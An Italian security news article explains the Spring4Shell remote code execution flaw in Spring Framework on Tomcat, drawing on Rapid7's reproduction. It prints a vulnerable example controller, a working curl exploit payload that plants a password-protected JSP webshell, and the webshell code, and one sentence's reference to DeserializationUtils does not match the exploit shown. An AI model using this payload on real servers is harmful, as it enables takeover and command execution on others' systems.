Una vulnerabilità nel popolare framework Spring per lo sviluppo di applicazioni Web Java espone potenzialmente molte applicazioni Web ad attacchi informatici remoti.
La vulnerabilità, soprannominata Spring4Shell e SpringShell, ha suscitato grande scalpore tra gli esperti di sicurezza nelle ultime 24 ore.
In particolare, i ricercatori di sicurezza hanno cercato di capire se il problema è nuovo o deriva da una vulnerabilità precedente.
Secondo gli esperti di Praetorian e Flashpoint , la vulnerabilità è nuova e può essere sfruttata da remoto se l’applicazione Spring viene distribuita su un server Apache Tomcat con una configurazione comune.
Per sfruttare la vulnerabilità, un utente malintenzionato deve individuare e identificare le installazioni di applicazioni Web utilizzando DeserializationUtils. La vulnerabilità non interessa le applicazioni Spring che utilizzano Spring Boot e Tomcat incorporato.
Spring4Shell (a cui non è ancora stato assegnato un ID CVE) avrà probabilmente bisogno di un aggiornamento importante per garantire che le installazioni siano sicure, ha spiegato Richard Ford, direttore tecnico senior di Praetorian.
La vulnerabilità è molto facile da sfruttare, ha affermato Ford, e gli utenti dovranno installare gli aggiornamenti su cui Spring sta già lavorando il prima possibile. Secondo gli esperti di Flashpoint, non si discute ancora della vulnerabilità nella comunità dei criminali informatici.
Gli esperti di sicurezza delle informazioni sono venuti a conoscenza della vulnerabilità per la prima volta quando un ricercatore cinese ha pubblicato un tweet con uno screenshot di un attacco PoC.

Tuttavia, il tweet è stato presto cancellato, a quanto pare perché è un crimine in Cina pubblicare informazioni sulle vulnerabilità senza il permesso del governo. Su VX-Underground, le informazioni su Spring4Shell sono apparse a metà giornata del 30 marzo.
Avendo accesso agli screenshot, gli esperti di sicurezza sono stati in grado di decodificare l’exploit e riprodurre l’attacco in poche ore.
La vulnerabilità sembra (A detta di Rapid7) interessare le funzioni che utilizzano l’ annotazione @RequestMapping e i parametri POJO (Plain Old Java Object). Ecco un esempio in una dimostrazione MVC di Springframework :
package net.javaguides.springmvc.helloworld.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;
import net.javaguides.springmvc.helloworld.model.HelloWorld;
@Controller
public class HelloWorldController {
@RequestMapping("/rapid7")
public void vulnerable(HelloWorld model) {
}
}
Un controller ( HelloWorldController), una volta caricato in Tomcat, gestirà le richieste HTTP a http://name/appname/rapid7. La funzione che gestisce la richiesta viene chiamata vulnerablee dispone di un parametro POJO HelloWorld. Qui, HelloWorldè ridotto ma POJO può essere piuttosto complicato se necessario:
package net.javaguides.springmvc.helloworld.model;
public class HelloWorld {
private String message;
}
Questa è l’intera condizione sfruttabile, almeno dalle versioni di Spring Framework da 4.3.0 a 5.3.15. (Non sono state esplorate le versioni indietro alla 4.3.0.)
Se compiliamo il progetto e lo ospitiamo su Tomcat, possiamo quindi sfruttarlo con il seguente comando curl. Nota quanto segue utilizza esattamente lo stesso payload dalla PoC creata dal ricercatore cinese.
curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%
22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt
ime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%
20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20
while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7
D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context
.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources
.context.parent.pipeline.first.directory=webapps/ROOT&class.module.cl
assLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&cl
ass.module.classLoader.resources.context.parent.pipeline.first.fileDat
eFormat=" http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-
SNAPSHOT/rapid7
Questo payload rilascia una webshell protetta da password nella directory ROOT di Tomcat chiamata tomcatwar.jsp, e si presenta così:
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in
= -.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.
println(new String(b)); } } -
Gli aggressori possono a questo punto invocare i comandi al server.
Ecco un esempio di esecuzione whoamiper ottenere albinolobster:

La versione Java sembra avere importanza.
Il test su OpenJDK 1.8.0_312 non riesce, ma OpenJDK 11.0.14.1 funziona.
Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

CybercrimeLe autorità tedesche hanno recentemente lanciato un avviso riguardante una sofisticata campagna di phishing che prende di mira gli utenti di Signal in Germania e nel resto d’Europa. L’attacco si concentra su profili specifici, tra…
InnovazioneL’evoluzione dell’Intelligenza Artificiale ha superato una nuova, inquietante frontiera. Se fino a ieri parlavamo di algoritmi confinati dietro uno schermo, oggi ci troviamo di fronte al concetto di “Meatspace Layer”: un’infrastruttura dove le macchine non…
CybercrimeNegli ultimi anni, la sicurezza delle reti ha affrontato minacce sempre più sofisticate, capaci di aggirare le difese tradizionali e di penetrare negli strati più profondi delle infrastrutture. Un’analisi recente ha portato alla luce uno…
VulnerabilitàNegli ultimi tempi, la piattaforma di automazione n8n sta affrontando una serie crescente di bug di sicurezza. n8n è una piattaforma di automazione che trasforma task complessi in operazioni semplici e veloci. Con pochi click…
InnovazioneArticolo scritto con la collaborazione di Giovanni Pollola. Per anni, “IA a bordo dei satelliti” serviva soprattutto a “ripulire” i dati: meno rumore nelle immagini e nei dati acquisiti attraverso i vari payload multisensoriali, meno…